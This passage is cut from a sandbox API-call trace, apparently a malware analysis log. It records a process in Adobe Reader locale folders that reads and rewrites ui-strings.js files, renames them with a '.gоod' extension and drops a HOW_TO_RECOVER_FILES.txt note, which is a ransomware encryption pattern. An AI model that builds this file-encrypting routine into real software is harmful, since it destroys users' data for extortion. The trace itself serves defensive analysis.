(in: hFile=0x6e0, lpBuffer=0x34f86f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x34f86f8*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0173.134] CloseHandle (hObject=0x6e0) returned 1 [0173.134] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\tr-tr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\tr-tr\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0173.134] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0173.134] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\tr-tr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\tr-tr\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0173.135] GetFileType (hFile=0x6e0) returned 0x1 [0173.135] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0173.135] GetFileType (hFile=0x6e0) returned 0x1 [0173.135] WriteFile (in: hFile=0x6e0, lpBuffer=0x34f73f0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x34f73f0*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0173.135] CloseHandle (hObject=0x6e0) returned 1 [0173.138] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\tr-tr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\tr-tr\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0173.138] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\tr-tr\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\tr-tr\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7c [0173.138] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0173.138] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\tr-tr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\tr-tr\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x6369a5f3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3d13)) returned 1 [0173.138] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0173.139] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\tr-tr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\tr-tr\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\tr-tr\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\tr-tr\\ui-strings.js.gоod")) returned 1 [0173.139] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\tr-tr\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\tr-tr\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x82 [0173.140] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0173.140] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\tr-tr\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\tr-tr\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0173.140] GetFileType (hFile=0x6e0) returned 0x1 [0173.140] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0173.140] GetFileType (hFile=0x6e0) returned 0x1 [0173.141] WriteFile (in: hFile=0x6e0, lpBuffer=0x3579268*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x3579268*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0173.142] CloseHandle (hObject=0x6e0) returned 1 [0173.142] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0173.142] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\uk-ua", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\uk-ua", lpFilePart=0x0) returned 0x69 [0173.142] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\uk-ua\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0173.143] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.143] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x56f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0173.143] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0173.143] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0173.143] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0173.143] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0173.143] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0173.143] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\uk-ua", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\uk-ua", lpFilePart=0x0) returned 0x69 [0173.143] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\uk-ua\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0173.143] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.144] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x56f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0173.144] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x56f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0173.144] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0173.144] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0173.144] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0173.144] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\uk-ua\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\uk-ua\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0173.144] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0173.144] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\uk-ua\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\uk-ua\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3588e40 | out: lpFileInformation=0x3588e40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x56f6)) returned 1 [0173.144] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0173.144] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\uk-ua\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\uk-ua\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0173.144] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0173.144] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\uk-ua\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\uk-ua\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0173.145] GetFileType (hFile=0x6e0) returned 0x1 [0173.145] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0173.145] GetFileType (hFile=0x6e0) returned 0x1 [0173.145] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0173.145] ReadFile (in: hFile=0x6e0, lpBuffer=0x3589318, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x3589318*, lpNumberOfBytesRead=0x1ffebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0173.659] CloseHandle (hObject=0x6e0) returned 1 [0173.659] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\uk-ua\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\uk-ua\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0173.659] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0173.659] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\uk-ua\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\uk-ua\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0173.659] GetFileType (hFile=0x6e0) returned 0x1 [0173.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0173.659] GetFileType (hFile=0x6e0) returned 0x1 [0173.659] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x56f6 [0173.659] WriteFile (in: hFile=0x6e0, lpBuffer=0x35bd238*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x35bd238*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0173.667] CloseHandle (hObject=0x6e0) returned 1 [0173.667] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\uk-ua\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\uk-ua\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0173.667] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0173.667] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\uk-ua\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\uk-ua\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0173.667] GetFileType (hFile=0x6e0) returned 0x1 [0173.667] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0173.667] GetFileType (hFile=0x6e0) returned 0x1 [0173.667] ReadFile (in: hFile=0x6e0, lpBuffer=0x35c1ad8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x35c1ad8*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0174.567] CloseHandle (hObject=0x6e0) returned 1 [0174.567] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\uk-ua\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\uk-ua\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0174.567] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0174.567] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\uk-ua\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\uk-ua\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0174.567] GetFileType (hFile=0x6e0) returned 0x1 [0174.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0174.567] GetFileType (hFile=0x6e0) returned 0x1 [0174.567] WriteFile (in: hFile=0x6e0, lpBuffer=0x33c8900*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x33c8900*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0174.568] CloseHandle (hObject=0x6e0) returned 1 [0174.568] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\uk-ua\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\uk-ua\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0174.568] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\uk-ua\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\uk-ua\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7c [0174.568] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0174.568] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\uk-ua\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\uk-ua\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x6442c0b6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5706)) returned 1 [0174.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0174.568] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\uk-ua\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\uk-ua\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\uk-ua\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\uk-ua\\ui-strings.js.gоod")) returned 1 [0174.573] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\uk-ua\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\uk-ua\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x82 [0174.573] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0174.573] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\uk-ua\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\uk-ua\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0174.574] GetFileType (hFile=0x6e0) returned 0x1 [0174.574] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0174.574] GetFileType (hFile=0x6e0) returned 0x1 [0174.574] WriteFile (in: hFile=0x6e0, lpBuffer=0x34e2b98*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x34e2b98*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0174.575] CloseHandle (hObject=0x6e0) returned 1 [0174.576] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0174.576] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-cn", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-cn", lpFilePart=0x0) returned 0x69 [0174.576] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-cn\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0174.576] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.576] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, 